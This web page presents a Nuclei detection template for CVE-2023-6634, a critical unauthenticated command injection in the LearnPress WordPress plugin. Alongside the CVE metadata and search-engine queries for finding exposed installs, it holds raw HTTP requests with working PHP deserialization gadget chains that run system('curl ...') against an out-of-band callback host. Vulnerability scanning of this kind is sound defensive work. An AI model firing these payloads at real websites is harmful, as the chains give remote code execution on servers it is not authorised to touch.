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LearnPress < 4.2.5.8 - Remote Code Execution

ID: CVE-2023-6634

Severity: critical

Author: iamnoooob,rootxharsh,pdresearch

Tags: wpscan,cve,cve2023,wordpress,wp,wp-plugin,learnpress,rce,intrusive,thimpress

Description

Section titled “Description”

The LearnPress plugin for WordPress is vulnerable to Command Injection in all versions up to, and including, 4.2.5.7 via the get_content function. This is due to the plugin making use of the call_user_func function with user input. This makes it possible for unauthenticated attackers to execute any public function with one parameter, which could result in remote code execution.

YAML Source

Section titled “YAML Source”
id: CVE-2023-6634


info:
  name: LearnPress < 4.2.5.8 - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The LearnPress plugin for WordPress is vulnerable to Command Injection in all versions up to, and including, 4.2.5.7 via the get_content function. This is due to the plugin making use of the call_user_func function with user input. This makes it possible for unauthenticated attackers to execute any public function with one parameter, which could result in remote code execution.
  remediation: Fixed in 4.2.5.8
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/learnpress/learnpress-4257-command-injection
    - https://wpscan.com/vulnerability/909580f4-1306-4e61-ac7d-e7a2eb0961f8/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6634
    - https://plugins.trac.wordpress.org/changeset/3013957/learnpress
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/21291ed7-cdc0-4698-9ec4-8417160845ed?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-6634
    cwe-id: CWE-77
    epss-score: 0.18881
    epss-percentile: 0.9624
    cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: thimpress
    product: learnpress
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/learnpress
    fofa-query: body=/wp-content/plugins/learnpress
    publicwww-query: "/wp-content/plugins/learnpress"
  tags: wpscan,cve,cve2023,wordpress,wp,wp-plugin,learnpress,rce,intrusive,thimpress
variables:
  oast: "{{interactsh-url}}/?"
  padstr: "{{randstr}}"
  finalurl: "{{padding(oast,padstr,59)}}"


http:
  - raw:
      - |+
        GET /wp-json/lp/v1/load_content_via_ajax/?callback={"class"%3a"LP_Debug","method"%3a"var_dump"}&args="{{randstr}}" HTTP/1.1
        Host: {{Hostname}}


      - |+
        GET /wp-json/lp/v1/load_content_via_ajax/?callback={%22class%22:%22LP_Helper%22,%22method%22:%22maybe_unserialize%22}&args="O%3a13%3a\u0022WP_HTML_Token\u0022%3a2%3a{s%3a13%3a\u0022bookmark_name\u0022%3bs%3a64%3a\u0022curl+{{finalurl}}\u0022%3bs%3a10%3a\u0022on_destroy\u0022%3bs%3a6%3a\u0022system\u0022%3b}" HTTP/1.1
        Host: {{Hostname}}
        Connection: close


      - |+
        GET /wp-json/lp/v1/load_content_via_ajax/?callback={"class":"LP_Helper","method":"maybe_unserialize"}&args="O%3a8%3a\u0022WP_Theme\u0022%3a2%3a{s%3a7%3a\u0022headers\u0022%3bO%3a13%3a\u0022WP_Block_List\u0022%3a2%3a{s%3a6%3a\u0022blocks\u0022%3ba%3a1%3a{s%3a4%3a\u0022Name\u0022%3ba%3a1%3a{s%3a9%3a\u0022blockName\u0022%3bs%3a12%3a\u0022Parent+Theme\u0022%3b}}s%3a8%3a\u0022registry\u0022%3bO%3a22%3a\u0022WP_Block_Type_Registry\u0022%3a1%3a{s%3a22%3a\u0022registered_block_types\u0022%3bO%3a8%3a\u0022WP_Theme\u0022%3a2%3a{s%3a7%3a\u0022headers\u0022%3bN%3bs%3a6%3a\u0022parent\u0022%3bO%3a22%3a\u0022WpOrg\\Requests\\Session\u0022%3a3%3a{s%3a3%3a\u0022url\u0022%3bs%3a10%3a\u0022http%3a//p%3a0\u0022%3bs%3a7%3a\u0022headers\u0022%3ba%3a1%3a{i%3a0%3bs%3a64%3a\u0022curl+{{finalurl}}\u0022%3b}s%3a7%3a\u0022options\u0022%3ba%3a1%3a{s%3a5%3a\u0022hooks\u0022%3bO%3a20%3a\u0022WpOrg\\Requests\\Hooks\u0022%3a1%3a{s%3a5%3a\u0022hooks\u0022%3ba%3a1%3a{s%3a23%3a\u0022requests.before_request\u0022%3ba%3a1%3a{i%3a0%3ba%3a1%3a{i%3a0%3ba%3a2%3a{i%3a0%3bO%3a20%3a\u0022WpOrg\\Requests\\Hooks\u0022%3a1%3a{s%3a5%3a\u0022hooks\u0022%3ba%3a1%3a{s%3a15%3a\u0022http%3a//p%3a0/Name\u0022%3ba%3a1%3a{i%3a0%3ba%3a1%3a{i%3a0%3bs%3a6%3a\u0022system\u0022%3b}}}}i%3a1%3bs%3a8%3a\u0022dispatch\u0022%3b}}}}}}}}}}s%3a6%3a\u0022parent\u0022%3bN%3b}" HTTP/1.1
        Host: {{Hostname}}


    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - "contains_any(interactsh_protocol, 'http', 'dns')"
          - "contains(body, 'Error: data content invalid!')"
          - "contains(body_1, '<pre>{{randstr}}</pre>') "
          - "status_code == 200"
        condition: and
# digest: 490a00463044022072e7c7c727597ef9fa60ac16325e40a5f1d90ba9ef949f90ee8a930fa6091d46022049cfcf04e332c8cb860d43cb095a6d0f32e100cb43e47be2cf6d28f17624cb68:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-6634.yaml"

View on Github